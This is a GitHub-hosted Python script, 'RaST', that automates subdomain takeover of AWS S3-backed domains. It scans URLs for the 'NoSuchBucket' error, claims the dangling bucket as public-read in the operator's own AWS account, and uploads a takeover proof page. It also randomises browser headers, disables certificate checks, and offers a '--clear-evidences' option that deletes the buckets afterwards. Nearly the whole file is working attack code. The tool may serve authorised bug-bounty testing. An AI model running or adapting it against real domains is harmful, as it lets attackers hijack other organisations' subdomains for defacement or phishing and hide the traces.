-
Notifications
You must be signed in to change notification settings - Fork 0
/
rast.py
373 lines (342 loc) · 18.3 KB
/
rast.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
from json import loads
from requests import get
from random import choice
from datetime import datetime
from colorama import init, Fore
from os import path, getcwd, remove
from boto3 import client as boto3_client
from traceback import format_exc as print_traceback
from argparse import ArgumentParser, SUPPRESS, HelpFormatter
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
configs = {
"headers": [
{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Referer": "https://www.google.com/",
"DNT": "1",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
},
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "https://www.google.com/",
"DNT": "1",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
},
{
"Connection": "keep-alive",
"DNT": "1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Dest": "document",
"Referer": "https://www.google.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8"
},
{
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "https://www.google.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
],
"logs": {
"start": "{}[{}>{}] ~ RaST started!",
"done": "{}[{}>{}] ~ RaST finished!",
"empty_urls": "{}[{}>{}] ~ No urls to check",
"checking_url": "\t{}[{}>{}] ~ Checking url {}<{}>{}",
"creating_s3": "\t\t{}[{}>{}] ~ Creating S3 bucket with {}<{}>{} name",
"uploading_file": "\t\t{}[{}>{}] ~ Uploading the file to perform the PoC",
"takeover_complete": "\t\t{}[{}>{}] ~ Successfully taken control of {}<{}>{} subdomain",
"collecting_buckets": "\t{}[{}>{}] ~ Collecting evidences from your AWS account",
"no_evidence": "\t\t{}[{}>{}] ~ No evidence found",
"evidence_removed": "\t\t{}[{}>{}] ~ The {}<{}>{} bucket and its {}<{}>{} object were successfully removed",
"error": "{}[{}!{}] ~ An error occurred: {}{}",
"key_interrupt": "{}[{}!{}] ~ Well, it looks like someone interrupted the execution...",
"timeout_error": "{}[{}!{}] ~ A timeout error occurred when checking the url {}<{}>{}",
"error_checking_url": "\t{}[{}!{}] ~ An error occurred when checking the url {}<{}>{}: {}{}",
"error_creating_s3": "\t\t{}[{}!{}] ~ An error occurred when creating bucket {}<{}>{}: {}{}",
"error_sending_file": "\t\t{}[{}!{}] ~ An error occurred when sending PoC file to bucket {}<{}>{}: {}{}"
},
"argparser": {
"desc_general": "RaST - Rapid Subdomains Takeover: Taking control over AWS subdomains with 'NoSuchBucket' error.",
"address": "A single url",
"file": "A file with urls",
"take_over": "Creates the buckets with the name contained in the 'NoSuchBucket' error and uploads a file to evidence the PoC",
"clear_s3": "Clears all buckets and objects in the AWS account used",
"help": "Show this help message and exit."
},
"logo": r'''
{}
(
)
(
/\ .-"""-. /\ *--------------------------------------*
//\\/ ,,, \//\\ | {}RaST - Rapid Subdomains Takeover{} |
|/\| ,;;;;;, |/\| | {}Taking control over AWS subdomains{} |
//\\\;-"""-;///\\ *--------------------------------------*
// \/ \/ \\ | {}eremit4@protonmail.com{} |
(| ,-_| |_-, |) | {}SP/Brazil{} |
//`__\.-.-./__`\\ *--------------------------------------*
// /.-({}O{}\ /{}O{})-.\ \\
(\ |) '---' (| /)
` (| |) `
\) (/
''',
"poc_file": r'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - Subdomain Take Over</title>
</head>
<body style="background-color: black;">
<h3 style="color:red;">Date: {}</h3>
<h3 style="color:red;">Well, your domain was vulnerable to "Subdomain Take Over" and here's the proof!</h3>
<br>
<iframe src="https://giphy.com/embed/Ju7l5y9osyymQ" width="480" height="360" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>
</body>
</html>
'''
}
class CustomHelpFormatter(HelpFormatter):
def __init__(self, prog):
super().__init__(prog, max_help_position=50, width=100)
def format_action_invocation(self, action):
if not action.option_strings or action.nargs == 0:
return super().format_action_invocation(action)
default = self._get_default_metavar_for_optional(action)
args_string = self._format_args(action, default)
return ', '.join(action.option_strings) + ' ' + args_string
def get_targets(args_: ArgumentParser.parse_args) -> list:
"""
receives the command line arguments and filter the addresses
:param args_: command line arguments
:return: a list with url(s)
"""
if args_.address:
return [args_.address]
if args_.file:
if not path.isfile(args_.file):
return []
with open(args_.file, 'r+') as fp:
return [url.strip() for url in fp.readlines()]
def acquire_aws_credentials() -> dict:
"""
open the config.json to get the aws credentials
:return: a json with aws credentials
"""
with open(path.join(getcwd(), 'configs', 'config.json'), 'r') as config_file:
return loads(config_file.read())
def urls_checker(url: str) -> object:
"""
checks if the 'NoSuchBucket' error exist in url
:param url:
:return: the bucket name if the error exists else None
"""
try:
response = get(url, verify=False, timeout=5, headers=choice(configs['headers']))
if 'NoSuchBucket' in response.text:
return response.text.split('<BucketName>')[1].split('</BucketName>')[0]
except TimeoutError:
print(configs['logs']['timeout_error'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
url,
Fore.LIGHTWHITE_EX))
return None
except Exception:
print(configs['logs']['error_checking_url'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
url,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
print_traceback(),
Fore.LIGHTWHITE_EX))
return None
def create_bucket(boto_client: boto3_client, bucket_name: str) -> bool:
"""
creates a bucket with the name acquired on error 'NoSuchBucket'
:param boto_client: boto3 s3 client
:param bucket_name: bucket name acquired on the page
:return: True if the bucket was created else False
"""
try:
resp_create_s3 = boto_client.create_bucket(Bucket=bucket_name, ACL='public-read')
if resp_create_s3['ResponseMetadata'].get('HTTPStatusCode') == 200:
return True
except Exception:
print(configs['logs']['error_creating_s3'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
bucket_name,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
print_traceback(),
Fore.LIGHTWHITE_EX))
return False
def create_html() -> None:
"""
creates the index.html file to submit to bucket
:return: None
"""
with open(path.join(getcwd(), 'index.html'), 'w') as fp:
fp.write(configs['poc_file'].format(datetime.strftime(datetime.now(), "%d/%m/%Y")))
def submit_poc_file(boto_client: boto3_client, bucket_name: str) -> bool:
"""
sends the PoC file to new bucket
:param boto_client: boto3 s3 client
:param bucket_name:
:return:
"""
try:
with open(path.join(getcwd(), 'index.html'), 'rb') as data:
boto_client.upload_fileobj(data, bucket_name, 'index.html')
return True
except Exception:
print(configs['logs']['error_sending_file'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
bucket_name,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
print_traceback(),
Fore.LIGHTWHITE_EX))
return False
def clear_evidences_in_account(boto_client: boto3_client) -> None:
"""
clears all evidence of PoC in your aws account
:param boto_client: boto3 s3 client
:return: None
"""
print(configs['logs']['collecting_buckets'].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
buckets_list = boto_client.list_buckets()
if not buckets_list.get('Buckets'):
print(configs['logs']['no_evidence'].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
return
for bucket in buckets_list['Buckets']:
# listing objects on bucket
bucket_object = boto_client.list_objects_v2(Bucket=bucket['Name'])
# removing bucket object
boto_client.delete_object(Bucket=bucket['Name'],
Key=bucket_object['Contents'][0]['Key'])
# removing bucket itself
boto_client.delete_bucket(Bucket=bucket['Name'])
print(configs['logs']['evidence_removed'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
bucket['Name'],
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
bucket_object['Contents'][0]['Key'],
Fore.LIGHTWHITE_EX))
def main(arguments: ArgumentParser.parse_args) -> None:
"""
Execute the main function
:param arguments: The arguments typed on the CLI
:return: None
"""
print(configs["logs"]["start"].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
aws_credentials = acquire_aws_credentials()
s3_client = boto3_client('s3',
aws_access_key_id=aws_credentials.get('ACCESS_KEY_ID'),
aws_secret_access_key=aws_credentials.get('SECRET_ACCESS_KEY'),
region_name=aws_credentials.get('REGION'))
if arguments.takeover:
urls = get_targets(arguments)
if not urls:
print(configs['logs']['empty_urls'].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
return
# creating the index.html file to submit to bucket
create_html()
for url in urls:
print(configs['logs']['checking_url'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
url,
Fore.LIGHTWHITE_EX))
bucket_name = urls_checker(url=url)
if bucket_name is not None:
print(configs['logs']['creating_s3'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
bucket_name,
Fore.LIGHTWHITE_EX))
if create_bucket(boto_client=s3_client, bucket_name=bucket_name):
print(configs['logs']['uploading_file'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX))
if submit_poc_file(boto_client=s3_client, bucket_name=bucket_name):
print(configs['logs']['takeover_complete'].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
url,
Fore.LIGHTWHITE_EX))
# removes index.html file after the successful takeover procedure
remove(path.join(getcwd(), 'index.html'))
if arguments.clear:
clear_evidences_in_account(boto_client=s3_client)
if __name__ == "__main__":
arg_style = lambda prog: CustomHelpFormatter(prog)
args = ArgumentParser(description=configs["argparser"]["desc_general"], add_help=False, formatter_class=arg_style)
group_required = args.add_argument_group(title="required arguments")
group_required.add_argument("-a", "--address", metavar="address", type=str, help=configs["argparser"]["address"])
group_required.add_argument("-f", "--file", metavar="file", type=str, help=configs["argparser"]["file"])
group_required.add_argument("-t", "--take-over", dest='takeover', action='store_true', help=configs["argparser"]["take_over"])
group_required.add_argument("-c", "--clear-evidences", dest='clear', action='store_true', help=configs["argparser"]["clear_s3"])
group_optional = args.add_argument_group(title="optional arguments")
group_optional.add_argument("-h", "--help", help=configs["argparser"]["help"], action="help", default=SUPPRESS)
try:
# perform coloroma multiplatform
init(strip=False)
# request warning disable
disable_warnings(InsecureRequestWarning)
print(configs['logo'].format(Fore.LIGHTWHITE_EX,
Fore.RED,
Fore.LIGHTWHITE_EX,
Fore.RED,
Fore.LIGHTWHITE_EX,
Fore.RED,
Fore.LIGHTWHITE_EX,
Fore.RED,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX))
main(args.parse_args())
except KeyboardInterrupt:
print(configs["logs"]["key_interrupt"].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
except Exception:
print(configs["logs"]["error"].format(Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTWHITE_EX,
Fore.LIGHTRED_EX,
print_traceback()))
print(configs["logs"]["done"].format(Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))